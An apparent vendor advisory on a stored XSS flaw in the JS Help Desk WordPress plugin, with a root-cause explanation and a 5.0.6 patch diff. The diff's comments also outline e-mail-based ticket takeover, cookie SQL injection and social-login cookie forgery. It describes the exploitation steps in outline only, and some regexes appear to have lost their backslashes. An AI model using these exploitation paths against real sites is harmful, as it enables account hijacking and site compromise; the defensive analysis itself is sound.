Published : December 2, 2026

CVE-2026-126004: JS Help Desk <= 5.0.5 Unauthenticated Stored Cross-Site Scripting via 'jsticket_message' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 5.0.5
Patched Version 5.0.6
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-126004: This is an unauthenticated stored cross-site scripting vulnerability in the JS Help Desk WordPress plugin, versions up to and including 5.0.5. The flaw resides in the handling of the ‘jsticket_message’ parameter, which allows an attacker to inject arbitrary JavaScript that executes when an administrator views a ticket and clicks an attachment link. The CVSS score is 6.1, and the CWE is 79.

The root cause is insufficient input sanitization and output escaping. In js-support-ticket/modules/jssupportticket/model.php, the function that processes ticket messages attempts to strip the ‘data-vbtype’ attribute to prevent messages from being mistaken for VenoBox attachment links. The vulnerable code used a regular expression that only matched double-quoted attributes, missing single-quoted or bare values. This allowed an attacker to include ‘data-vbtype’ in a crafted message. Later, when an administrator views the ticket and clicks an attacker-controlled attachment link, the VenoBox library interpolates the href into the page without proper escaping, leading to script execution. The patch in 5.0.6 corrects the regex to handle all attribute quote styles and adds additional sanitization.

Exploitation requires the attacker to submit a support ticket with a malicious ‘jsticket_message’ containing a script payload, such as an image tag with an onerror handler. The payload is stored in the database. When an administrator opens the ticket and clicks on an attachment link (which the attacker can also control), VenoBox processes the link and executes the injected JavaScript in the administrator’s browser context.

The patch in version 5.0.6 modifies the regex in model.php to match all attribute forms (double-quoted, single-quoted, and bare) and applies more robust escaping. This prevents ‘data-vbtype’ from being included in message content, thus blocking the VenoBox exploitation vector.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator, leading to potential session hijacking, privilege escalation, or full site compromise. The attacker can perform any action the administrator is authorized to do, including installing plugins or creating new admin accounts.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/js-support-ticket/includes/activation.php
+++ b/js-support-ticket/includes/activation.php
@@ -255,8 +255,8 @@
                     ('aiagent_max_results', '5', 'aiagent', NULL),
                     ('aiagent_analytics', '1', 'aiagent', NULL),
                     ('productcode', 'jsticket', 'default', NULL),
-                    ('versioncode', '5.0.5', 'default', NULL),
-                    ('productversion', '505', 'default', NULL),
+                    ('versioncode', '5.0.6', 'default', NULL),
+                    ('productversion', '506', 'default', NULL),
                     ('producttype', 'free', 'default', NULL),
                     ('tve_enabled', '2', 'default', NULL),
                     ('tve_mailreadtype', '3', 'default', NULL),
--- a/js-support-ticket/includes/classes/companies.php
+++ b/js-support-ticket/includes/classes/companies.php
@@ -757,6 +757,10 @@
         if (!self::isSupervisor($jsst_actor['email'])) {
             return '';
         }
+        // Named by address, so only an account that has proven the address. (5.0.6)
+        if (!self::addressProven($jsst_actor['email'])) {
+            return '';
+        }
         $jsst_company = self::forEmail($jsst_actor['email']);
         if (!$jsst_company) {
             return '';
@@ -771,7 +775,7 @@
      * reopening are still checked against the ticket's own owner.
      */
     public static function supervisorReads($jsst_email, $jsst_ticketemail) {
-        if (!self::isSupervisor($jsst_email)) {
+        if (!self::isSupervisor($jsst_email) || !self::addressProven($jsst_email)) {
             return false;
         }
         $jsst_mine = self::forEmail($jsst_email);
@@ -779,6 +783,17 @@
         return ($jsst_mine && $jsst_theirs && (int) $jsst_mine->id === (int) $jsst_theirs->id);
     }

+    /**
+     * A supervisor is named by e-mail address, and an address is something
+     * anybody can type into a sign-up form or a shop's account page. The wider
+     * reading a supervisor gets therefore needs an account that has proven the
+     * address (JSSTemailproof); until then they see their own tickets, like
+     * everybody else. (5.0.6)
+     */
+    private static function addressProven($jsst_email) {
+        return class_exists('JSSTemailproof') ? JSSTemailproof::isVerifiedEmail($jsst_email) : false;
+    }
+
     /* =====================================================================
      * The Customers screen's rail
      * ================================================================== */
--- a/js-support-ticket/includes/classes/emailproof.php
+++ b/js-support-ticket/includes/classes/emailproof.php
@@ -0,0 +1,230 @@
+<?php
+
+if (!defined('ABSPATH'))
+    die('Restricted Access');
+
+if (class_exists('JSSTemailproof')) {
+    return;
+}
+
+/**
+ * Whether an account has proven that its e-mail address is its own. (5.0.6)
+ *
+ * Several things the help desk gives an account follow from its e-mail
+ * address rather than from the account itself: the tickets that address sent
+ * as a guest before the account existed, and a company supervisor's right to
+ * read colleagues' tickets. An address is something anybody can type - into a
+ * sign-up form, or into a shop's "account details" page that changes it
+ * without asking - so none of those may follow from the address alone. They
+ * follow from an address the account has *proven*:
+ *
+ *  - an administrator created the account (they vouch for the address);
+ *  - the person set their password from WordPress's e-mailed reset link;
+ *  - the person opened the confirmation link this class e-mails; or
+ *  - the site says so through the `jsst_email_verified` filter (for sign-up
+ *    flows that verify addresses themselves).
+ *
+ * What is stored is the address that was proven, not a yes/no: change the
+ * address and the account is unproven again until the new one is confirmed.
+ *
+ * Reported by Patchstack against 5.0.5: the plugin's own sign-up form set the
+ * visitor's chosen password and logged them in at once, so "registered" never
+ * meant "owns the mailbox", yet the account inherited every guest ticket sent
+ * from the address it typed.
+ */
+class JSSTemailproof {
+
+    const META = 'jsst_verified_email';
+    const LINK_TTL = 172800;      // two days
+    const RESEND_WAIT = 300;      // one link per five minutes per account
+
+    public static function registerHooks() {
+        // An account an administrator creates carries the address they gave it.
+        add_action('edit_user_created_user', array(__CLASS__, 'markVerified'));
+        // Setting a password from the e-mailed reset link proves the mailbox.
+        add_action('after_password_reset', array(__CLASS__, 'onPasswordReset'), 10, 1);
+        // Sites whose own sign-up verifies addresses can say so. The old filter
+        // name is still honoured.
+        add_action('user_register', array(__CLASS__, 'onRegister'), 20);
+        add_action('init', array(__CLASS__, 'handleRequest'), 5);
+    }
+
+    /** Has this account proven the address it has now? */
+    public static function isVerified($jsst_wpuid) {
+        $jsst_wpuid = (int) $jsst_wpuid;
+        if ($jsst_wpuid <= 0) {
+            return false;
+        }
+        $jsst_user = get_userdata($jsst_wpuid);
+        if (!$jsst_user || !is_email($jsst_user->user_email)) {
+            return false;
+        }
+        $jsst_proven = strtolower(trim((string) get_user_meta($jsst_wpuid, self::META, true)));
+        $jsst_verified = ($jsst_proven !== '' && $jsst_proven === strtolower(trim($jsst_user->user_email)));
+        return (bool) apply_filters('jsst_email_verified', $jsst_verified, $jsst_wpuid, $jsst_user->user_email);
+    }
+
+    /** Is there an account with this address that has proven it? */
+    public static function isVerifiedEmail($jsst_email) {
+        $jsst_email = trim((string) $jsst_email);
+        if (!is_email($jsst_email)) {
+            return false;
+        }
+        $jsst_user = get_user_by('email', $jsst_email);
+        return $jsst_user ? self::isVerified($jsst_user->ID) : false;
+    }
+
+    /** Record the account's current address as proven, and give it its guest tickets. */
+    public static function markVerified($jsst_wpuid) {
+        $jsst_wpuid = (int) $jsst_wpuid;
+        $jsst_user = get_userdata($jsst_wpuid);
+        if (!$jsst_user || !is_email($jsst_user->user_email)) {
+            return false;
+        }
+        update_user_meta($jsst_wpuid, self::META, strtolower(trim($jsst_user->user_email)));
+        // The pre-5.0.6 marker, set without any proof; never read again.
+        delete_user_meta($jsst_wpuid, 'jsst_link_guest_tickets');
+        self::linkGuestTickets($jsst_wpuid, $jsst_user->user_email);
+        return true;
+    }
+
+    public static function onPasswordReset($jsst_user) {
+        if (is_object($jsst_user) && !empty($jsst_user->ID)) {
+            self::markVerified($jsst_user->ID);
+        }
+    }
+
+    public static function onRegister($jsst_wpuid) {
+        if (apply_filters('jsst_link_guest_tickets_on_register', false, $jsst_wpuid)) {
+            self::markVerified($jsst_wpuid);
+        }
+    }
+
+    /**
+     * Attach the tickets this address sent as a guest to the account.
+     *
+     * Only ever called with an address the account has proven. "My Tickets"
+     * lists by account, so without this a customer who wrote in as a guest
+     * and then registered saw an empty list.
+     */
+    private static function linkGuestTickets($jsst_wpuid, $jsst_email) {
+        if (!class_exists('JSSTcapability')) {
+            return;
+        }
+        $jsst_uid = JSSTcapability::pluginUserId($jsst_wpuid);
+        if ($jsst_uid <= 0 || !is_email($jsst_email)) {
+            return;
+        }
+        jssupportticket::$_db->query(jssupportticket::$_db->prepare(
+            "UPDATE `" . jssupportticket::$_db->prefix . "js_ticket_tickets` SET uid = %d WHERE (uid = 0 OR uid IS NULL) AND email = %s",
+            $jsst_uid, $jsst_email
+        ));
+    }
+
+    /* ------------------------------------------------------------------ *
+     * The confirmation link
+     * ------------------------------------------------------------------ */
+
+    private static function token($jsst_wpuid, $jsst_email, $jsst_expires) {
+        return hash_hmac('sha256', 'jsst-verify-email|' . (int) $jsst_wpuid . '|' . strtolower(trim($jsst_email)) . '|' . (int) $jsst_expires, wp_salt('auth'));
+    }
+
+    /**
+     * E-mail the account a link that proves its address.
+     *
+     * @return true|string true when sent, otherwise why not.
+     */
+    public static function sendLink($jsst_wpuid) {
+        $jsst_wpuid = (int) $jsst_wpuid;
+        $jsst_user = get_userdata($jsst_wpuid);
+        if (!$jsst_user || !is_email($jsst_user->user_email)) {
+            return __('This account has no e-mail address to confirm.', 'js-support-ticket');
+        }
+        if (self::isVerified($jsst_wpuid)) {
+            return true;
+        }
+        $jsst_waitkey = 'jsst_vemail_wait_' . $jsst_wpuid;
+        if (get_transient($jsst_waitkey)) {
+            return __('A confirmation link was sent a few minutes ago. Please check your inbox, or try again later.', 'js-support-ticket');
+        }
+        set_transient($jsst_waitkey, 1, self::RESEND_WAIT);
+
+        $jsst_expires = time() + self::LINK_TTL;
+        $jsst_link = add_query_arg(array(
+            'jsst_verify_email' => 1,
+            'u' => $jsst_wpuid,
+            'e' => $jsst_expires,
+            't' => self::token($jsst_wpuid, $jsst_user->user_email, $jsst_expires),
+        ), home_url('/'));
+        $jsst_site = wp_specialchars_decode(get_bloginfo('name'), ENT_QUOTES);
+        $jsst_subject = sprintf(
+            /* translators: %s: site name */
+            __('[%s] Confirm your e-mail address', 'js-support-ticket'), $jsst_site);
+        $jsst_body = sprintf(
+            /* translators: 1: site name, 2: confirmation link */
+            __("Please confirm that this e-mail address belongs to your account at %1$s by opening this link:nn%2$snnOnce it is confirmed, any support tickets you sent from this address before you had an account are added to your account. The link works for two days. If you did not ask for this, you can ignore this message.", 'js-support-ticket'),
+            $jsst_site, $jsst_link);
+        wp_mail($jsst_user->user_email, $jsst_subject, $jsst_body);
+        return true;
+    }
+
+    /**
+     * The two requests this class answers: opening a confirmation link, and a
+     * signed-in customer asking for one.
+     */
+    public static function handleRequest() {
+        if (isset($_GET['jsst_verify_email'], $_GET['u'], $_GET['e'], $_GET['t'])) {
+            $jsst_wpuid = absint($_GET['u']);
+            $jsst_expires = absint($_GET['e']);
+            $jsst_token = sanitize_text_field(wp_unslash($_GET['t']));
+            $jsst_user = get_userdata($jsst_wpuid);
+            $jsst_ok = $jsst_user && $jsst_expires >= time()
+                && hash_equals(self::token($jsst_wpuid, $jsst_user->user_email, $jsst_expires), $jsst_token);
+            if ($jsst_ok) {
+                self::markVerified($jsst_wpuid);
+                JSSTmessage::setMessage(esc_html(__('Thank you - your e-mail address is confirmed.', 'js-support-ticket')), 'updated');
+            } else {
+                JSSTmessage::setMessage(esc_html(__('That confirmation link is not valid or has expired. Sign in and ask for a new one on My Tickets.', 'js-support-ticket')), 'error');
+            }
+            wp_safe_redirect(self::myTicketsUrl());
+            exit;
+        }
+        if (isset($_POST['jsst_send_email_proof'], $_POST['_wpnonce']) && is_user_logged_in()
+                && wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['_wpnonce'])), 'jsst-send-email-proof')) {
+            $jsst_sent = self::sendLink(get_current_user_id());
+            if ($jsst_sent === true) {
+                JSSTmessage::setMessage(esc_html(__('We have e-mailed you a link to confirm your address.', 'js-support-ticket')), 'updated');
+            } else {
+                JSSTmessage::setMessage(esc_html($jsst_sent), 'error');
+            }
+            wp_safe_redirect(self::myTicketsUrl());
+            exit;
+        }
+    }
+
+    private static function myTicketsUrl() {
+        return jssupportticket::makeUrl(array('jstmod' => 'ticket', 'jstlay' => 'myticket', 'jsstpageid' => jssupportticket::getPageid()));
+    }
+
+    /**
+     * The notice on My Tickets for a customer whose address is not confirmed:
+     * what confirming does, and a button that sends the link. Shown to every
+     * unconfirmed customer, not only to those with guest tickets waiting, so
+     * the page does not tell anybody whether an address has written in before.
+     */
+    public static function notice() {
+        if (!is_user_logged_in() || self::isVerified(get_current_user_id())) {
+            return '';
+        }
+        $jsst_actor = class_exists('JSSTcapability') ? JSSTcapability::actor() : array();
+        if (!empty($jsst_actor['kind']) && $jsst_actor['kind'] !== JSSTcapability::ACTOR_CUSTOMER) {
+            return '';
+        }
+        return '<div class="jsst-email-proof"><form method="post" action="' . esc_url(self::myTicketsUrl()) . '">'
+            . '<span>' . esc_html(__('Tickets you sent before you had an account are added once you confirm your e-mail address.', 'js-support-ticket')) . '</span> '
+            . '<input type="hidden" name="jsst_send_email_proof" value="1" />'
+            . wp_nonce_field('jsst-send-email-proof', '_wpnonce', true, false)
+            . '<button type="submit" class="js-ticket-btn">' . esc_html(__('Send confirmation link', 'js-support-ticket')) . '</button>'
+            . '</form></div>';
+    }
+}
--- a/js-support-ticket/includes/classes/user.php
+++ b/js-support-ticket/includes/classes/user.php
@@ -84,8 +84,11 @@
                 }
             }
             $this->jsst_currentuser = $jsst_currentuser;
-            if ($jsst_currentuser && get_user_meta($jsst_wpuserid, 'jsst_link_guest_tickets', true)) {
-                $this->linkGuestTickets($jsst_wpuserid, $jsst_currentuser);
+            /* Guest tickets now follow a proven address only (JSSTemailproof).
+               The marker 5.0.3-5.0.5 set at sign-up without any proof is
+               dropped, never acted on. */
+            if (get_user_meta($jsst_wpuserid, 'jsst_link_guest_tickets', true)) {
+                delete_user_meta($jsst_wpuserid, 'jsst_link_guest_tickets');
             }
         } else { // wp user is not logged in
 //            do_action('jsst_userid_by_sociallogin', $this);
@@ -110,27 +113,8 @@
      * gets no answer of its own here, and a cookie that matched nobody is a
      * guest like any other visitor.
      */
-    /**
-     * Give a new account the tickets its owner wrote as a guest.
-     *
-     * "My Tickets" lists by uid only, so a customer who wrote in as a guest
-     * and then registered saw an empty list. Only accounts flagged by
-     * jsst_flag_guest_ticket_link() get here - ones whose email address was
-     * proven at sign-up - because matching on an address nobody checked would
-     * hand a stranger's tickets to whoever typed it in.
-     */
-    private function linkGuestTickets($jsst_wpuserid, $jsst_currentuser) {
-        delete_user_meta($jsst_wpuserid, 'jsst_link_guest_tickets');
-        $jsst_email = isset($jsst_currentuser->user_email) ? $jsst_currentuser->user_email : '';
-        if (!is_email($jsst_email) || empty($jsst_currentuser->id)) {
-            return;
-        }
-        $jsst_query = jssupportticket::$_db->prepare(
-            "UPDATE `" . jssupportticket::$_db->prefix . "js_ticket_tickets` SET uid = %d WHERE (uid = 0 OR uid IS NULL) AND email = %s",
-            (int) $jsst_currentuser->id, $jsst_email
-        );
-        jssupportticket::$_db->query($jsst_query);
-    }
+    /* linkGuestTickets() moved to JSSTemailproof, which only runs it for an
+       address the account has proven. (5.0.6) */

     function isguest()
     {
--- a/js-support-ticket/includes/jsst-hooks.php
+++ b/js-support-ticket/includes/jsst-hooks.php
@@ -60,6 +60,13 @@
 function jsst_add_new_member()
 {
     if (isset($_POST["jsst_user_login"]) && isset($_POST['jsst_support_register_nonce']) && wp_verify_nonce($_POST['jsst_support_register_nonce'], 'jsst-support-register-nonce')) {
+        /* The form is only shown when the site lets people register; the
+           handler now asks the same question rather than trusting that the
+           form was the way in. (5.0.6) */
+        if (!get_option('users_can_register')) {
+            jsst_errors()->add('registration_closed', esc_html(__('Registration is not open on this site.', 'js-support-ticket')));
+            return;
+        }
         $jsst_user_login = sanitize_user($_POST["jsst_user_login"]);
         $jsst_user_email = sanitize_email($_POST["jsst_user_email"]);
         $jsst_user_first = sanitize_text_field($_POST["jsst_user_first"]);
@@ -184,6 +191,12 @@

                 // send an email to the admin alerting them of the registration
                 wp_new_user_notification($jsst_new_user_id);
+                /* The address was typed, not proven: nothing that follows from
+                   it (earlier guest tickets, a company supervisor's access) is
+                   given until the person opens this link. (5.0.6) */
+                if (class_exists('JSSTemailproof') && JSSTemailproof::sendLink($jsst_new_user_id) === true) {
+                    JSSTmessage::setMessage(esc_html(__('We have e-mailed you a link to confirm your address.', 'js-support-ticket')), 'updated');
+                }
                 // log the new user in
                 wp_set_current_user($jsst_new_user_id, $jsst_user_login);
                 wp_set_auth_cookie($jsst_new_user_id);
@@ -485,24 +498,13 @@
 add_action('edit_user_profile_update', 'jsst_update_user_profile');
 add_action('user_register', 'jsst_update_user_profile'); // creating a new user

-/* Mark a new account whose email address is known to be its owner's, so that
-   its earlier guest tickets are attached on its first visit
-   (JSSTuser::linkGuestTickets). WordPress's own sign-up form emails the
-   password link, so nobody gets in without the mailbox; an account an
-   administrator creates is trusted. Other sign-up forms (shops, membership
-   plugins) may let anyone type any address, so they are left out unless the
-   site says its addresses are verified with the jsst_link_guest_tickets_on_register
-   filter. */
-function jsst_flag_guest_ticket_link($jsst_user_id) {
-    update_user_meta((int) $jsst_user_id, 'jsst_link_guest_tickets', 1);
-}
-add_action('register_new_user', 'jsst_flag_guest_ticket_link');
-add_action('edit_user_created_user', 'jsst_flag_guest_ticket_link');
-add_action('user_register', function ($jsst_user_id) {
-    if (apply_filters('jsst_link_guest_tickets_on_register', false, $jsst_user_id)) {
-        jsst_flag_guest_ticket_link($jsst_user_id);
-    }
-}, 20);
+/* Guest tickets are given to an account once it has proven its e-mail
+   address - see JSSTemailproof (includes/classes/emailproof.php). Until 5.0.5
+   an account was marked for them on `register_new_user`, on the assumption
+   that WordPress's sign-up mails the password link; this plugin's own sign-up
+   form set the password and logged the visitor in straight away, so anybody
+   could register with a guest's address and receive that guest's tickets
+   (reported by Patchstack). */

 /* Translations are installed by JSSTtranslations (includes/classes/translations.php)
    since 1 October 2026. The 4.x download that stood here fetched 4.x files from
--- a/js-support-ticket/includes/jssupportticketphplib.php
+++ b/js-support-ticket/includes/jssupportticketphplib.php
@@ -196,6 +196,12 @@

     public static function JSST_setcookie($jsst_name, $jsst_value = "", $jsst_expires = 0, $jsst_path = "", $jsst_domain = "", $jsst_secure = false, $jsst_httponly = false){
         $jsst_output = null;
+        /* The social-login identity is signed on its way out, so that only a
+           value this site wrote is believed - see jssupportticket::verifySocialCookie().
+           The Social Login add-on writes it through here. (5.0.6) */
+        if ($jsst_name === 'jssupportticket-socialid' && (string) $jsst_value !== '' && class_exists('jssupportticket')) {
+            $jsst_value = $jsst_value . '.' . jssupportticket::cookieSignature($jsst_name, (string) $jsst_value);
+        }
         if ($jsst_name != null && $jsst_domain !== null) {
             if (!headers_sent()) {
                 if ($jsst_httponly && PHP_VERSION_ID >= 70300) {
--- a/js-support-ticket/js-support-ticket.php
+++ b/js-support-ticket/js-support-ticket.php
@@ -5,7 +5,7 @@
   Plugin URI: https://www.jshelpdesk.com
   Description: JS Help Desk is a trusted open source ticket system. JS Help Desk is a simple, easy to use, web-based customer support system. User can create ticket from front-end. JS Help Desk comes packed with lot features than most of the expensive(and complex) support ticket system on market. JS Help Desk provide you best industry help desk system.
   Author: JS Help Desk
-  Version: 5.0.5
+  Version: 5.0.6
   Requires at least: 5.5
   Requires PHP: 7.4
   Text Domain: js-support-ticket
@@ -48,6 +48,9 @@
     function __construct() {
         // php 8.1 issues
         require_once 'includes/jssupportticketphplib.php';
+        // Before any add-on can read them - see verifySearchCookie().
+        self::verifySearchCookie();
+        self::verifySocialCookie();
         // to check what addons are active and create an array.
         $jsst_plugin_array = get_option('active_plugins');
         $jsst_addon_array = array();
@@ -127,6 +130,7 @@
         JSSTdraft::registerHooks();  // Roadmap 4.0-UX-04
         JSSTpresence::registerHooks(); // Roadmap 4.0-UX-05
         JSSTcompanies::registerHooks(); // Roadmap 5.5-COM-06
+        JSSTemailproof::registerHooks(); // 5.0.6
         JSSTconsent::registerHooks();   // Roadmap 5.5-SEC-02
         JSSTaisources::registerHooks(); // Roadmap 6.0-AI-02
         JSSTailanguages::registerHooks(); // Roadmap 6.0-AI-09
@@ -159,7 +163,7 @@
         self::$jsst_data = array();
         self::$_search = array();
         self::$_captcha = array();
-        self::$_currentversion = '505';
+        self::$_currentversion = '506';
         self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
         self::$_jshdsession = JSSTincluder::getObjectClass('wphdsession');
         global $wpdb;
@@ -967,6 +971,105 @@
         }
     }

+    /**
+     * The saved list search (jsst_ticket_search_data) is accepted only if this
+     * site wrote it. (5.0.6)
+     *
+     * List pages keep the last search in a cookie so paging keeps the filter:
+     * base64 of JSON, read back by core and by every add-on whenever the URL
+     * carries `pagenum`. The values were saved after the search form's own
+     * escaping, and the readers put them into SQL as they found them - so a
+     * cookie written by hand, with a quote in it, put SQL into those queries
+     * for anybody, signed in or not. Rather than trust each of those readers
+     * (some live in add-ons a site may not update), the cookie now carries an
+     * HMAC over its value; here, before any of them can run, a cookie whose
+     * signature is wrong or missing is removed from $_COOKIE, and a good one is
+     * handed on as the plain value the readers have always expected. Only
+     * values this site saved itself can reach them.
+     */
+    public static function verifySearchCookie() {
+        if (!isset($_COOKIE['jsst_ticket_search_data'])) {
+            return;
+        }
+        $jsst_raw = (string) $_COOKIE['jsst_ticket_search_data'];
+        $jsst_dot = strrpos($jsst_raw, '.');
+        $jsst_ok = false;
+        if ($jsst_dot !== false) {
+            $jsst_value = substr($jsst_raw, 0, $jsst_dot);
+            $jsst_sig = substr($jsst_raw, $jsst_dot + 1);
+            $jsst_ok = ($jsst_value !== '' && hash_equals(self::searchCookieSignature($jsst_value), $jsst_sig));
+        }
+        if ($jsst_ok) {
+            $_COOKIE['jsst_ticket_search_data'] = $jsst_value;
+        } else {
+            unset($_COOKIE['jsst_ticket_search_data']);
+        }
+    }
+
+    /**
+     * The social-login identity (`jssupportticket-socialid`) is accepted only if
+     * this site wrote it. (5.0.6)
+     *
+     * With the old Social Login add-on active, the help desk takes a visitor's
+     * identity from this cookie alone: its value is the Facebook or LinkedIn
+     * user id, which is often public, so anybody who set the cookie by hand
+     * became that customer - their tickets, their replies. The add-on writes
+     * the cookie through jssupportticketphplib::JSST_setcookie(), which now
+     * signs it; here, before the help desk or the add-on reads it, a value
+     * without a good signature is removed, and a good one is handed on as the
+     * plain id they expect. Social users signed in before the update sign in
+     * once more.
+     */
+    public static function verifySocialCookie() {
+        if (!isset($_COOKIE['jssupportticket-socialid']) || $_COOKIE['jssupportticket-socialid'] === '') {
+            return;
+        }
+        $jsst_plain = self::verifiedCookieValue('jssupportticket-socialid', (string) $_COOKIE['jssupportticket-socialid']);
+        if ($jsst_plain === null) {
+            unset($_COOKIE['jssupportticket-socialid'], $_COOKIE['jssupportticket-socialmedia']);
+        } else {
+            $_COOKIE['jssupportticket-socialid'] = $jsst_plain;
+        }
+    }
+
+    /** "value.signature" back to value when the signature is this site's, otherwise null. */
+    public static function verifiedCookieValue($jsst_name, $jsst_raw) {
+        $jsst_dot = strrpos($jsst_raw, '.');
+        if ($jsst_dot === false) {
+            return null;
+        }
+        $jsst_value = substr($jsst_raw, 0, $jsst_dot);
+        $jsst_sig = substr($jsst_raw, $jsst_dot + 1);
+        if ($jsst_value === '' || !hash_equals(self::cookieSignature($jsst_name, $jsst_value), $jsst_sig)) {
+            return null;
+        }
+        return $jsst_value;
+    }
+
+    /** HMAC for a cookie this plugin signs, keyed with this site's own secrets. */
+    public static function cookieSignature($jsst_name, $jsst_value) {
+        return hash_hmac('sha256', $jsst_name . '|' . $jsst_value, self::cookieKey());
+    }
+
+    /** HMAC for the saved-search cookie, keyed with this site's own secrets. */
+    private static function searchCookieSignature($jsst_value) {
+        return hash_hmac('sha256', 'jsst_ticket_search_data|' . $jsst_value, self::cookieKey());
+    }
+
+    /** The key for signed cookies: this site's auth secrets, or one of our own. */
+    private static function cookieKey() {
+        $jsst_key = (defined('AUTH_KEY') ? AUTH_KEY : '') . (defined('SECURE_AUTH_SALT') ? SECURE_AUTH_SALT : '');
+        if (strlen($jsst_key) < 32) {
+            // wp-config without keys: a random one of our own, made once.
+            $jsst_key = (string) get_option('jsst_search_cookie_key', '');
+            if (strlen($jsst_key) < 32) {
+                $jsst_key = bin2hex(random_bytes(32));
+                update_option('jsst_search_cookie_key', $jsst_key, true);
+            }
+        }
+        return $jsst_key;
+    }
+
     public static function removeusersearchcookies(){
         if(isset($_COOKIE['jsst_ticket_search_data'])){
             jssupportticketphplib::JSST_setcookie('jsst_ticket_search_data' , '' , time() - 3600 , COOKIEPATH);
@@ -981,6 +1084,8 @@
             return false;
         $jsst_data = wp_json_encode( $jsst_search_array );
         $jsst_data = jssupportticketphplib::JSST_safe_encoding($jsst_data);
+        // Signed, so the next page can tell it was written here - see verifySearchCookie().
+        $jsst_data .= '.' . self::searchCookieSignature($jsst_data);
         jssupportticketphplib::JSST_setcookie("jsst_ticket_search_data" , $jsst_data , 0 , COOKIEPATH);
         if ( SITECOOKIEPATH != COOKIEPATH ){
             jssupportticketphplib::JSST_setcookie('jsst_ticket_search_data' , $jsst_data , 0 , SITECOOKIEPATH);
@@ -1438,6 +1543,8 @@
            asks it whether an actor is a supervisor, and that question is asked
            on the front-end portal as often as in wp-admin. (Roadmap 5.5-COM-06) */
         include_once __DIR__ . '/includes/classes/companies.php';
+        // Which accounts have proven their e-mail address. (5.0.6)
+        include_once __DIR__ . '/includes/classes/emailproof.php';
         /* Retiring the MailChimp add-on: the consent it should always have
            recorded, the event anything can subscribe to, and the two recipes
            that carry it onward. Loaded outside is_admin() because the checkbox
--- a/js-support-ticket/modules/jssupportticket/model.php
+++ b/js-support-ticket/modules/jssupportticket/model.php
@@ -1652,12 +1652,40 @@
        /* `data-vbtype` is what marks a ticket page's own attachment links for the
           image viewer, and nothing else uses it, so written content may not carry
           it: a message can then never pass for one of those links. KSES has
-          already rewritten every attribute as name="value"; its output is
-          slashed, hence the strip and re-add. */
-       $jsst_data = addslashes(preg_replace('/sdata-vbtypes*=s*"[^"]*"/i', '', stripslashes($jsst_data)));
+          already rewritten every attribute as name="value" on WordPress 7,
+          but older versions keep 'value' and bare values, so all three forms
+          are matched. Its output is slashed, hence the strip and re-add. */
+       $jsst_data = addslashes(self::removeViewerAttributes(stripslashes($jsst_data)));
        return $jsst_data;
     }

+    /**
+     * Ticket content as shown on a ticket page, without the image viewer's
+     * markers (`data-vbtype`, `data-href`).
+     *
+     * getSanitizedEditorData() strips `data-vbtype` on save, but replies are
+     * shown through html_entity_decode(), so an entity-encoded tag got past
+     * that and became a real attachment-viewer link on the page (reported by
+     * Wordfence against 5.0.4). Stripping on the way out also covers content
+     * stored before this and content saved by other routes. Run after
+     * wp_kses_post().
+     */
+    function stripViewerMarkup($jsst_html){
+        return self::removeViewerAttributes((string) $jsst_html);
+    }
+
+    /**
+     * `data-vbtype` and `data-href` removed, whether the value is in double
+     * quotes, single quotes or bare: WordPress before 7.0 leaves kses output
+     * in the quoting it was written in.
+     */
+    private static function removeViewerAttributes($jsst_html) {
+        $jsst_pattern = '/sdata-(?:vbtype|href)s*=s*(?:"[^"]*"|'[^']*'|[^s>]+)/i';
+        $jsst_out = preg_replace($jsst_pattern, '', (string) $jsst_html);
+        // A regex failure must not hand the markers back: plain text instead.
+        return ($jsst_out === null) ? esc_html(wp_strip_all_tags((string) $jsst_html)) : $jsst_out;
+    }
+
     function getEncriptedSiteLink(){
         $jsst_siteLink = get_option('jsst_encripted_site_link');
         if ($jsst_siteLink == '') {
--- a/js-support-ticket/modules/reply/model.php
+++ b/js-support-ticket/modules/reply/model.php
@@ -238,7 +238,12 @@
         $jsst_tempmessage = isset($jsst_data['jsticket_message']) ? $jsst_data['jsticket_message'] : '';
         $jsst_data = jssupportticket::JSST_sanitizeData($jsst_data); // JSST_sanitizeData() function uses wordpress santize functions
         if(isset($jsst_data['ticketviaemail']) && $jsst_data['ticketviaemail'] == 1){
-            $jsst_data['message'] = $jsst_tempmessage;
+            /* A reply that came in by e-mail is HTML somebody else wrote, and it
+               was stored as it arrived: the piping add-ons only take out style
+               and script blocks. Filtered like every other reply now, so a mail
+               cannot carry event handlers, forms or iframes into the thread or
+               into the notification mails built from it. (5.0.6) */
+            $jsst_data['message'] = JSSTincluder::getJSModel('jssupportticket')->getSanitizedEditorData($jsst_tempmessage);
         }elseif(isset($jsst_data['ticketviaautopilot']) && $jsst_data['ticketviaautopilot'] == 1){
             $jsst_data['message'] = $jsst_tempmessage;
         }else{
@@ -821,7 +826,8 @@

             $jsst_formatted_replies[] = [
                 'id'        => $jsst_reply->id,
-                'text'      => $jsst_reply->message,
+                // Filtered on the way out too: replies stored before 5.0.6 may be raw mail.
+                'text'      => wp_kses_post($jsst_reply->message),
                 'name'      => $jsst_name,
                 'timestamp' => $jsst_reply->created,
                 'isMarked'  => (bool) $jsst_reply->aireplymode
--- a/js-support-ticket/modules/thirdpartyimport/model.php
+++ b/js-support-ticket/modules/thirdpartyimport/model.php
@@ -358,11 +358,11 @@
                         if (is_array($jsst_vardata)) {
                             $jsst_vardata = implode(', ', array_filter($jsst_vardata));
                         }
-                        $jsst_params[$jsst_sc_ticket_custom_field["jshd_filedorderingfield"]] = jssupportticketphplib::JSST_htmlentities($jsst_vardata);
+                        $jsst_params[$jsst_sc_ticket_custom_field["jshd_filedorderingfield"]] = (string) $jsst_vardata;
                     }
                 }
             }
-            $jsst_ticketparams = html_entity_decode(wp_json_encode($jsst_params, JSON_UNESCAPED_UNICODE));
+            $jsst_ticketparams = wp_json_encode($jsst_params, JSON_UNESCAPED_UNICODE);

             // Get linked data
             $jsst_userinfo = $this->getSupportCandyTicketCustomerInfo($jsst_ticket->customer);
@@ -2991,11 +2991,11 @@
                         if (is_array($jsst_vardata)) {
